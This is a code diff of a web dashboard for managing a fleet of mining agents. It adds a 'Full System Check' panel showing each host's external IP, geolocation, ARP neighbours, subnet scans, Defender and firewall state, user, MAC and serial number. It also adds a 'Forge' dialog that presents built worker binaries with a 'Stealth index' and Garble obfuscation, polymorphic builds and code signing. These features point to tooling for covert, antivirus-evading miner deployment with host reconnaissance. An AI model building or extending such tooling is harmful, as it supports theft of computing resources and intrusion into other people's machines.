<NeonCard accent="cyan" className="section contrib-panel" hud>
|
||||
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Contribution Map
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Each bar shows a machine's share of total fleet hashrate.
|
||||
{sample
|
||||
? 'Sample contribution map — your rigs will populate this lane when they connect.'
|
||||
: "Each bar shows a machine's share of total fleet hashrate."}
|
||||
</p>
|
||||
<div className="contrib-list">
|
||||
{bars.map((b) => {
|
||||
|
||||
141
server/web/src/components/Fleet/FullSysCheckPanel.css
Normal file
141
server/web/src/components/Fleet/FullSysCheckPanel.css
Normal file
@@ -0,0 +1,141 @@
|
||||
.syscheck-panel {
|
||||
margin-top: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 12, 24, 0.92);
|
||||
max-height: 72vh;
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.syscheck-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
gap: 1rem;
|
||||
margin-bottom: 1rem;
|
||||
border-bottom: 1px solid rgba(201, 162, 39, 0.2);
|
||||
padding-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.syscheck-header h3 {
|
||||
margin: 0;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
}
|
||||
|
||||
.syscheck-sub {
|
||||
margin: 0.25rem 0 0;
|
||||
font-size: 0.75rem;
|
||||
color: var(--clr-dim, #888);
|
||||
}
|
||||
|
||||
.syscheck-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
.syscheck-section {
|
||||
border: 1px solid rgba(255, 255, 255, 0.06);
|
||||
border-radius: 6px;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
}
|
||||
|
||||
.syscheck-section-title {
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.12em;
|
||||
color: var(--accent-gold, #c9a227);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.syscheck-kv {
|
||||
display: grid;
|
||||
grid-template-columns: 110px 1fr;
|
||||
gap: 0.35rem 0.5rem;
|
||||
margin-bottom: 0.35rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.syscheck-k {
|
||||
color: var(--clr-dim, #888);
|
||||
}
|
||||
|
||||
.syscheck-v {
|
||||
color: #e8e8f0;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.syscheck-ok {
|
||||
color: #4ade80;
|
||||
}
|
||||
.syscheck-bad {
|
||||
color: #f87171;
|
||||
}
|
||||
.syscheck-muted {
|
||||
color: #777;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
.syscheck-score {
|
||||
color: #00f5ff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.syscheck-subhead {
|
||||
margin-top: 0.5rem;
|
||||
font-size: 0.7rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
.syscheck-pre {
|
||||
margin: 0.35rem 0 0.5rem;
|
||||
padding: 0.5rem;
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
border-radius: 4px;
|
||||
font-size: 0.72rem;
|
||||
max-height: 160px;
|
||||
overflow: auto;
|
||||
white-space: pre-wrap;
|
||||
color: #bbb;
|
||||
}
|
||||
|
||||
.syscheck-table-wrap {
|
||||
overflow-x: auto;
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.syscheck-table {
|
||||
width: 100%;
|
||||
font-size: 0.72rem;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
.syscheck-table th,
|
||||
.syscheck-table td {
|
||||
padding: 0.2rem 0.35rem;
|
||||
border-bottom: 1px solid #222;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.syscheck-iface {
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.syscheck-raw {
|
||||
margin-top: 1rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.syscheck-raw summary {
|
||||
cursor: pointer;
|
||||
color: var(--accent-gold, #c9a227);
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.syscheck-errors {
|
||||
margin-top: 0.75rem;
|
||||
color: #f87171;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
247
server/web/src/components/Fleet/FullSysCheckPanel.tsx
Normal file
247
server/web/src/components/Fleet/FullSysCheckPanel.tsx
Normal file
@@ -0,0 +1,247 @@
|
||||
import type { ReactNode } from 'react';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import './FullSysCheckPanel.css';
|
||||
|
||||
function Row({ label, value }: { label: string; value: ReactNode }) {
|
||||
if (value === undefined || value === null || value === '') return null;
|
||||
return (
|
||||
<div className="syscheck-kv">
|
||||
<span className="syscheck-k">{label}</span>
|
||||
<span className="syscheck-v">{value}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Section({ title, children }: { title: string; children: ReactNode }) {
|
||||
return (
|
||||
<section className="syscheck-section">
|
||||
<h4 className="syscheck-section-title font-tech">{title}</h4>
|
||||
<div className="syscheck-section-body">{children}</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) {
|
||||
if (v === undefined) return <span className="syscheck-muted">—</span>;
|
||||
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
|
||||
}
|
||||
|
||||
export default function FullSysCheckPanel({
|
||||
report,
|
||||
agentName,
|
||||
onClose,
|
||||
}: {
|
||||
report: FullSysCheckReport;
|
||||
agentName: string;
|
||||
onClose?: () => void;
|
||||
}) {
|
||||
const geo = report.network?.geo;
|
||||
const geoLine =
|
||||
geo &&
|
||||
[geo.city, geo.region, geo.country].filter(Boolean).join(', ') +
|
||||
(geo.isp ? ` · ${geo.isp}` : '') +
|
||||
(geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : '');
|
||||
|
||||
return (
|
||||
<div className="syscheck-panel">
|
||||
<div className="syscheck-header">
|
||||
<div>
|
||||
<h3 className="font-display">Full System Check</h3>
|
||||
<p className="syscheck-sub font-tech">
|
||||
{agentName} · {report.generated_at} · {report.platform}/{report.arch}
|
||||
</p>
|
||||
</div>
|
||||
{onClose && (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
|
||||
Close
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="syscheck-grid">
|
||||
<Section title="Network & Location">
|
||||
<Row label="External IP" value={report.network?.external_ip} />
|
||||
<Row label="IP Source" value={report.network?.external_ip_source} />
|
||||
<Row label="Location" value={geoLine} />
|
||||
<Row label="Primary LAN IP" value={report.network?.primary_local_ip} />
|
||||
<Row label="Default Gateway" value={report.network?.default_gateway} />
|
||||
<Row label="DNS" value={report.network?.dns?.servers?.join(', ')} />
|
||||
<Row label="DNS Search" value={report.network?.dns?.search_domains?.join(', ')} />
|
||||
<Row label="ARP Neighbors" value={report.neighbors?.arp_count != null ? `${report.neighbors.arp_count} host(s)` : undefined} />
|
||||
{report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && (
|
||||
<pre className="syscheck-pre">{report.neighbors.arp_hosts.join('\n')}</pre>
|
||||
)}
|
||||
{report.neighbors?.subnet_scan && (
|
||||
<>
|
||||
<div className="syscheck-k syscheck-subhead">Subnet scan</div>
|
||||
<pre className="syscheck-pre">{report.neighbors.subnet_scan}</pre>
|
||||
</>
|
||||
)}
|
||||
</Section>
|
||||
|
||||
<Section title="Security & Firewall">
|
||||
<Row
|
||||
label="Posture Score"
|
||||
value={
|
||||
report.security?.posture_score != null ? (
|
||||
<span className="syscheck-score">{report.security.posture_score} / 100</span>
|
||||
) : undefined
|
||||
}
|
||||
/>
|
||||
<Row label="Defender" value={<BoolBadge v={report.security?.defender_enabled} yes="ON" no="OFF" />} />
|
||||
<Row label="Real-time" value={<BoolBadge v={report.security?.defender_rtp} yes="ON" no="OFF" />} />
|
||||
<Row
|
||||
label="Firewall D / P / Pub"
|
||||
value={
|
||||
<>
|
||||
<BoolBadge v={report.security?.firewall_domain} yes="on" no="off" /> /{' '}
|
||||
<BoolBadge v={report.security?.firewall_private} yes="on" no="off" /> /{' '}
|
||||
<BoolBadge v={report.security?.firewall_public} yes="on" no="off" />
|
||||
</>
|
||||
}
|
||||
/>
|
||||
<Row label="AV Products" value={report.security?.av_products?.join(', ')} />
|
||||
<Row label="SSH" value={<BoolBadge v={report.security?.ssh_listening} />} />
|
||||
<Row label="Elevated" value={<BoolBadge v={report.identity?.agent_elevated} yes="ADMIN" no="user" />} />
|
||||
<Row label="Pending Updates" value={report.security?.pending_updates} />
|
||||
<Row
|
||||
label="Last Patch"
|
||||
value={
|
||||
report.security?.last_patch
|
||||
? `${report.security.last_patch}${report.security.last_patch_days != null ? ` (${report.security.last_patch_days}d)` : ''}`
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
|
||||
</Section>
|
||||
|
||||
<Section title="Hardware">
|
||||
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
|
||||
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
|
||||
<Row label="RAM" value={report.hardware?.memory_gb != null ? `${report.hardware.memory_gb} GB` : undefined} />
|
||||
<Row label="Uptime" value={report.hardware?.uptime_hours != null ? `${report.hardware.uptime_hours} h` : undefined} />
|
||||
{report.hardware?.cpus?.map((c, i) => (
|
||||
<Row
|
||||
key={i}
|
||||
label={`CPU ${i + 1}`}
|
||||
value={`${c.name ?? 'CPU'} · ${c.cores ?? '?'}c/${c.logical ?? '?'}t · ${c.current_mhz ?? '?'}/${c.max_mhz ?? '?'} MHz`}
|
||||
/>
|
||||
))}
|
||||
{report.hardware?.gpus?.map((g, i) => (
|
||||
<Row key={i} label={`GPU ${i + 1}`} value={`${g.name ?? 'GPU'} · driver ${g.driver ?? '—'} · ${g.vram_mb ?? 0} MB`} />
|
||||
))}
|
||||
{report.hardware?.disks?.map((d, i) => (
|
||||
<Row
|
||||
key={i}
|
||||
label={`Disk ${d.mount ?? i}`}
|
||||
value={`${d.free_gb ?? '?'} / ${d.total_gb ?? '?'} GB free (${d.free_pct ?? '?'}%) ${d.fs_type ?? ''}`}
|
||||
/>
|
||||
))}
|
||||
</Section>
|
||||
|
||||
<Section title="Identity & Agent">
|
||||
<Row label="Hostname" value={report.hostname} />
|
||||
<Row label="OS" value={report.os_version} />
|
||||
<Row label="User" value={report.identity?.username} />
|
||||
<Row label="Domain" value={report.identity?.domain} />
|
||||
<Row label="Computer" value={report.identity?.computer_name} />
|
||||
<Row label="MAC" value={report.identity?.mac_address} />
|
||||
<Row label="Worker / Build" value={`${report.worker_name ?? '—'} / ${report.build_id ?? '—'}`} />
|
||||
<Row label="Install Dir" value={report.environment?.install_dir} />
|
||||
</Section>
|
||||
|
||||
<Section title="Live Resources">
|
||||
<Row label="CPU Freq" value={report.resources?.cpu_freq_mhz != null ? `${report.resources.cpu_freq_mhz} MHz` : undefined} />
|
||||
<Row label="Throttle" value={<BoolBadge v={report.resources?.cpu_throttle} yes="YES" no="no" />} />
|
||||
<Row label="CPU Temp" value={report.resources?.cpu_temp_c != null ? `${report.resources.cpu_temp_c}°C` : undefined} />
|
||||
<Row
|
||||
label="Disk (miner vol)"
|
||||
value={
|
||||
report.resources?.disk_free_pct != null
|
||||
? `${report.resources.disk_free_gb} / ${report.resources.disk_total_gb} GB (${report.resources.disk_free_pct}%)`
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
<Row label="GPU" value={report.resources?.gpu_usage_pct != null ? `${report.resources.gpu_usage_pct}% · ${report.resources.gpu_temp_c ?? '?'}°C` : undefined} />
|
||||
</Section>
|
||||
|
||||
<Section title="Listeners">
|
||||
<Row label="Open TCP ports" value={report.listen_ports?.count} />
|
||||
{report.listen_ports?.ports && report.listen_ports.ports.length > 0 && (
|
||||
<div className="syscheck-table-wrap">
|
||||
<table className="syscheck-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Port</th>
|
||||
<th>Bind</th>
|
||||
<th>Process</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{report.listen_ports.ports.slice(0, 40).map((p, i) => (
|
||||
<tr key={i}>
|
||||
<td>{p.port}</td>
|
||||
<td>{p.addr}</td>
|
||||
<td>{p.process || p.pid}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)}
|
||||
</Section>
|
||||
|
||||
<Section title="Interfaces">
|
||||
{report.network?.interfaces?.map((iface, i) => (
|
||||
<div key={i} className="syscheck-iface">
|
||||
<strong>{iface.name}</strong> {iface.mac && <span className="syscheck-muted"> {iface.mac}</span>}
|
||||
{iface.ipv4?.map((ip) => (
|
||||
<div key={ip} className="syscheck-muted">
|
||||
{ip}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
))}
|
||||
{report.network?.routes_summary && (
|
||||
<>
|
||||
<div className="syscheck-k syscheck-subhead">Routes</div>
|
||||
<pre className="syscheck-pre">{report.network.routes_summary}</pre>
|
||||
</>
|
||||
)}
|
||||
</Section>
|
||||
</div>
|
||||
|
||||
{(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && (
|
||||
<details className="syscheck-raw">
|
||||
<summary className="font-tech">Raw dumps (sysinfo / ipconfig / netstat)</summary>
|
||||
{report.raw_sysinfo && (
|
||||
<>
|
||||
<div className="syscheck-k">systeminfo / uname</div>
|
||||
<pre className="syscheck-pre">{report.raw_sysinfo}</pre>
|
||||
</>
|
||||
)}
|
||||
{report.raw_ipconfig && (
|
||||
<>
|
||||
<div className="syscheck-k">ipconfig / ip addr</div>
|
||||
<pre className="syscheck-pre">{report.raw_ipconfig}</pre>
|
||||
</>
|
||||
)}
|
||||
{report.raw_netstat && (
|
||||
<>
|
||||
<div className="syscheck-k">netstat</div>
|
||||
<pre className="syscheck-pre">{report.raw_netstat}</pre>
|
||||
</>
|
||||
)}
|
||||
</details>
|
||||
)}
|
||||
|
||||
{report.probe_errors && report.probe_errors.length > 0 && (
|
||||
<div className="syscheck-errors">
|
||||
{report.probe_errors.map((e, i) => (
|
||||
<div key={i}>{e}</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
221
server/web/src/components/Forge/ForgeDispenseReveal.css
Normal file
221
server/web/src/components/Forge/ForgeDispenseReveal.css
Normal file
@@ -0,0 +1,221 @@
|
||||
.forge-dispense-backdrop {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
z-index: 1200;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background: rgba(4, 8, 18, 0.82);
|
||||
backdrop-filter: blur(8px);
|
||||
animation: forge-dispense-fade 0.4s ease;
|
||||
}
|
||||
|
||||
.forge-dispense-panel {
|
||||
position: relative;
|
||||
max-width: 420px;
|
||||
width: 92%;
|
||||
padding: 2rem 1.75rem 1.5rem;
|
||||
border-radius: 16px;
|
||||
border: 1px solid rgba(120, 200, 255, 0.35);
|
||||
background: linear-gradient(165deg, rgba(12, 22, 42, 0.97), rgba(6, 12, 28, 0.98));
|
||||
box-shadow:
|
||||
0 0 60px rgba(80, 160, 255, 0.15),
|
||||
inset 0 1px 0 rgba(255, 255, 255, 0.06);
|
||||
text-align: center;
|
||||
animation: forge-dispense-rise 0.55s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
|
||||
.forge-dispense-sigil {
|
||||
width: 72px;
|
||||
height: 72px;
|
||||
margin: 0 auto 1rem;
|
||||
border-radius: 50%;
|
||||
background:
|
||||
radial-gradient(circle at 50% 50%, rgba(100, 200, 255, 0.25), transparent 55%),
|
||||
conic-gradient(
|
||||
from 0deg,
|
||||
rgba(100, 180, 255, 0.5),
|
||||
rgba(180, 120, 255, 0.4),
|
||||
rgba(100, 200, 255, 0.5)
|
||||
);
|
||||
mask: radial-gradient(circle, transparent 38%, black 39%);
|
||||
animation: forge-dispense-spin 12s linear infinite;
|
||||
}
|
||||
|
||||
.forge-dispense-title {
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 1.5rem;
|
||||
letter-spacing: 0.12em;
|
||||
text-transform: uppercase;
|
||||
color: #b8e4ff;
|
||||
}
|
||||
|
||||
.forge-dispense-sub {
|
||||
margin: 0 0 1.25rem;
|
||||
font-size: 0.9rem;
|
||||
color: rgba(200, 220, 255, 0.75);
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.forge-dispense-shield {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 1rem;
|
||||
margin-bottom: 1.25rem;
|
||||
}
|
||||
|
||||
.forge-dispense-shield-ring {
|
||||
--shield-pct: 50%;
|
||||
width: 88px;
|
||||
height: 88px;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background: conic-gradient(
|
||||
#3d9eff calc(var(--shield-pct) * 1%),
|
||||
rgba(60, 80, 120, 0.35) 0
|
||||
);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.forge-dispense-shield-ring::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 6px;
|
||||
border-radius: 50%;
|
||||
background: rgba(8, 14, 28, 0.95);
|
||||
}
|
||||
|
||||
.forge-dispense-shield-value {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
font-size: 1.75rem;
|
||||
font-weight: 700;
|
||||
color: #7ec8ff;
|
||||
}
|
||||
|
||||
.forge-dispense-shield-label {
|
||||
text-align: left;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.2rem;
|
||||
font-size: 0.85rem;
|
||||
color: rgba(180, 210, 255, 0.9);
|
||||
}
|
||||
|
||||
.forge-dispense-shield-hint {
|
||||
font-size: 0.72rem;
|
||||
opacity: 0.65;
|
||||
}
|
||||
|
||||
.forge-dispense-dna {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.75rem;
|
||||
border-radius: 10px;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
border: 1px solid rgba(100, 160, 255, 0.2);
|
||||
}
|
||||
|
||||
.forge-dispense-dna-label {
|
||||
display: block;
|
||||
font-size: 0.7rem;
|
||||
letter-spacing: 0.15em;
|
||||
text-transform: uppercase;
|
||||
color: rgba(150, 200, 255, 0.7);
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.forge-dispense-dna-hash {
|
||||
font-size: 0.95rem;
|
||||
color: #9ee0ff;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
.forge-dispense-dna-bars {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: center;
|
||||
gap: 3px;
|
||||
height: 48px;
|
||||
margin-top: 0.6rem;
|
||||
}
|
||||
|
||||
.forge-dispense-dna-bar {
|
||||
width: 6px;
|
||||
min-height: 4px;
|
||||
border-radius: 2px 2px 0 0;
|
||||
background: linear-gradient(180deg, #6eb8ff, #3a6a9e);
|
||||
opacity: 0.85;
|
||||
animation: forge-dispense-bar 0.6s ease backwards;
|
||||
}
|
||||
|
||||
.forge-dispense-dna-bar:nth-child(odd) {
|
||||
animation-delay: 0.05s;
|
||||
}
|
||||
|
||||
.forge-dispense-layers {
|
||||
list-style: none;
|
||||
margin: 0 0 1.25rem;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.forge-dispense-layers li {
|
||||
font-size: 0.72rem;
|
||||
padding: 0.25rem 0.55rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(80, 120, 180, 0.35);
|
||||
color: rgba(140, 160, 200, 0.7);
|
||||
}
|
||||
|
||||
.forge-dispense-layers li.on {
|
||||
border-color: rgba(100, 200, 255, 0.55);
|
||||
color: #a8dcff;
|
||||
box-shadow: 0 0 12px rgba(80, 160, 255, 0.2);
|
||||
}
|
||||
|
||||
.forge-dispense-actions {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
@keyframes forge-dispense-fade {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes forge-dispense-rise {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(24px) scale(0.96);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translateY(0) scale(1);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes forge-dispense-spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes forge-dispense-bar {
|
||||
from {
|
||||
transform: scaleY(0);
|
||||
}
|
||||
to {
|
||||
transform: scaleY(1);
|
||||
}
|
||||
}
|
||||
91
server/web/src/components/Forge/ForgeDispenseReveal.tsx
Normal file
91
server/web/src/components/Forge/ForgeDispenseReveal.tsx
Normal file
@@ -0,0 +1,91 @@
|
||||
import { useEffect } from 'react';
|
||||
import type { BuildResponse } from '../../types';
|
||||
import { useSound } from '../../context/SoundContext';
|
||||
import DownloadButton from '../DownloadButton';
|
||||
import './ForgeDispenseReveal.css';
|
||||
|
||||
interface Props {
|
||||
result: BuildResponse;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
function dnaBars(fingerprint?: string): number[] {
|
||||
const raw = fingerprint || 'aetherforge';
|
||||
const bars: number[] = [];
|
||||
for (let i = 0; i < 24; i++) {
|
||||
const c = raw.charCodeAt(i % raw.length);
|
||||
bars.push(12 + ((c * (i + 3)) % 88));
|
||||
}
|
||||
return bars;
|
||||
}
|
||||
|
||||
export default function ForgeDispenseReveal({ result, onClose }: Props) {
|
||||
const { play } = useSound();
|
||||
const score = result.stealth_score ?? 0;
|
||||
const bars = dnaBars(result.binary_fingerprint);
|
||||
|
||||
useEffect(() => {
|
||||
play('success');
|
||||
}, [play]);
|
||||
|
||||
return (
|
||||
<div className="forge-dispense-backdrop" role="dialog" aria-labelledby="forge-dispense-title">
|
||||
<div className="forge-dispense-panel">
|
||||
<div className="forge-dispense-sigil" aria-hidden />
|
||||
<h2 id="forge-dispense-title" className="forge-dispense-title">
|
||||
Dispensed
|
||||
</h2>
|
||||
<p className="forge-dispense-sub">
|
||||
{result.file_name || 'Your worker'} is ready — each forge carries a unique binary signature.
|
||||
</p>
|
||||
|
||||
<div className="forge-dispense-shield">
|
||||
<div
|
||||
className="forge-dispense-shield-ring"
|
||||
style={{ ['--shield-pct' as string]: `${score}%` }}
|
||||
>
|
||||
<span className="forge-dispense-shield-value">{score}</span>
|
||||
</div>
|
||||
<div className="forge-dispense-shield-label">
|
||||
<span>Stealth index</span>
|
||||
<span className="forge-dispense-shield-hint">Polymorph · Garble · Sigil · Sign</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{result.binary_fingerprint && (
|
||||
<div className="forge-dispense-dna">
|
||||
<span className="forge-dispense-dna-label">Binary DNA</span>
|
||||
<code className="forge-dispense-dna-hash">{result.binary_fingerprint}</code>
|
||||
<div className="forge-dispense-dna-bars" aria-hidden>
|
||||
{bars.map((h, i) => (
|
||||
<span key={i} className="forge-dispense-dna-bar" style={{ height: `${h}%` }} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<ul className="forge-dispense-layers">
|
||||
<li className={result.obfuscated ? 'on' : ''}>Garble obfuscation</li>
|
||||
<li className={result.sigil_scramble ? 'on' : ''}>Sigil scramble</li>
|
||||
<li className={result.signed ? 'on' : ''}>Authenticode sign</li>
|
||||
<li className="on">Polymorph weave</li>
|
||||
</ul>
|
||||
|
||||
<div className="forge-dispense-actions">
|
||||
{result.download_url && result.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={result.download_url}
|
||||
filename={result.file_name}
|
||||
className="btn btn-primary"
|
||||
>
|
||||
↓ Take the forge
|
||||
</DownloadButton>
|
||||
)}
|
||||
<button type="button" className="btn btn-outline" onClick={onClose}>
|
||||
Continue forging
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -442,39 +442,4 @@
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.sidebar {
|
||||
width: 72px;
|
||||
}
|
||||
|
||||
.logo-text-block,
|
||||
.nav-label,
|
||||
.fleet-readout,
|
||||
.sidebar-sig,
|
||||
.matrix-rain-wrap {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.sidebar-header {
|
||||
padding: 1rem 0.5rem;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.nav-item {
|
||||
justify-content: center;
|
||||
padding: 0.85rem;
|
||||
}
|
||||
|
||||
.main-with-status {
|
||||
margin-left: 72px;
|
||||
}
|
||||
|
||||
.main-content {
|
||||
margin-left: 0;
|
||||
padding: 1rem;
|
||||
}
|
||||
}
|
||||
/* Mobile layout: bottom nav + top bar — see MobileNav.css and layout--mobile */
|
||||
|
||||
@@ -3,10 +3,18 @@ import { NavLink, useLocation } from 'react-router-dom';
|
||||
import AmbientBackground from '../Ambient/AmbientBackground';
|
||||
import SystemStatusBar from '../Visual/SystemStatusBar';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
|
||||
import MatrixRain from './MatrixRain';
|
||||
import afLogo from '../../assets/af-logo.png';
|
||||
import CursorFire from '../Visual/CursorFire';
|
||||
import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
|
||||
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||
import SetupBanner from '../SetupBanner';
|
||||
import { getSetupStatus } from '../../help/setupStatus';
|
||||
import { api } from '../../api/client';
|
||||
import type { ServerConfig } from '../../types';
|
||||
import './Layout.css';
|
||||
import './MobileNav.css';
|
||||
|
||||
interface LayoutProps {
|
||||
children: ReactNode;
|
||||
@@ -20,8 +28,14 @@ const NAV = [
|
||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||
] as const;
|
||||
|
||||
/** Primary tabs on iPhone bottom bar */
|
||||
const MOBILE_PRIMARY = NAV.slice(0, 4);
|
||||
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
|
||||
const MOBILE_MORE = NAV.slice(4);
|
||||
|
||||
function NavIcon({ type }: { type: string }) {
|
||||
switch (type) {
|
||||
case 'deck':
|
||||
@@ -71,6 +85,16 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M10 12l1.5 2L14 11" />
|
||||
</svg>
|
||||
);
|
||||
case 'trace':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<circle cx="4" cy="12" r="2" />
|
||||
<circle cx="12" cy="6" r="2" />
|
||||
<circle cx="20" cy="12" r="2" />
|
||||
<path d="M6 12h4l2-6 2 6h4" />
|
||||
<path d="M12 8v4" />
|
||||
</svg>
|
||||
);
|
||||
default:
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
@@ -135,14 +159,59 @@ function FleetReadout() {
|
||||
);
|
||||
}
|
||||
|
||||
function MobileTopStats() {
|
||||
const { agents } = useWebSocket();
|
||||
const online = agents.filter((a) => a.status === 'online').length;
|
||||
const total = agents.length;
|
||||
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||
return (
|
||||
<div className="mobile-top-stats">
|
||||
<strong>
|
||||
{online}/{total} online
|
||||
</strong>
|
||||
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function Layout({ children }: LayoutProps) {
|
||||
const location = useLocation();
|
||||
const isMobile = useIsMobileLayout();
|
||||
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
|
||||
const [moreOpen, setMoreOpen] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
api.getConfig().then(setServerConfig).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
setMoreOpen(false);
|
||||
}, [location.pathname]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!moreOpen) return;
|
||||
const prev = document.body.style.overflow;
|
||||
document.body.style.overflow = 'hidden';
|
||||
return () => {
|
||||
document.body.style.overflow = prev;
|
||||
};
|
||||
}, [moreOpen]);
|
||||
|
||||
const setupStatus = getSetupStatus(serverConfig);
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
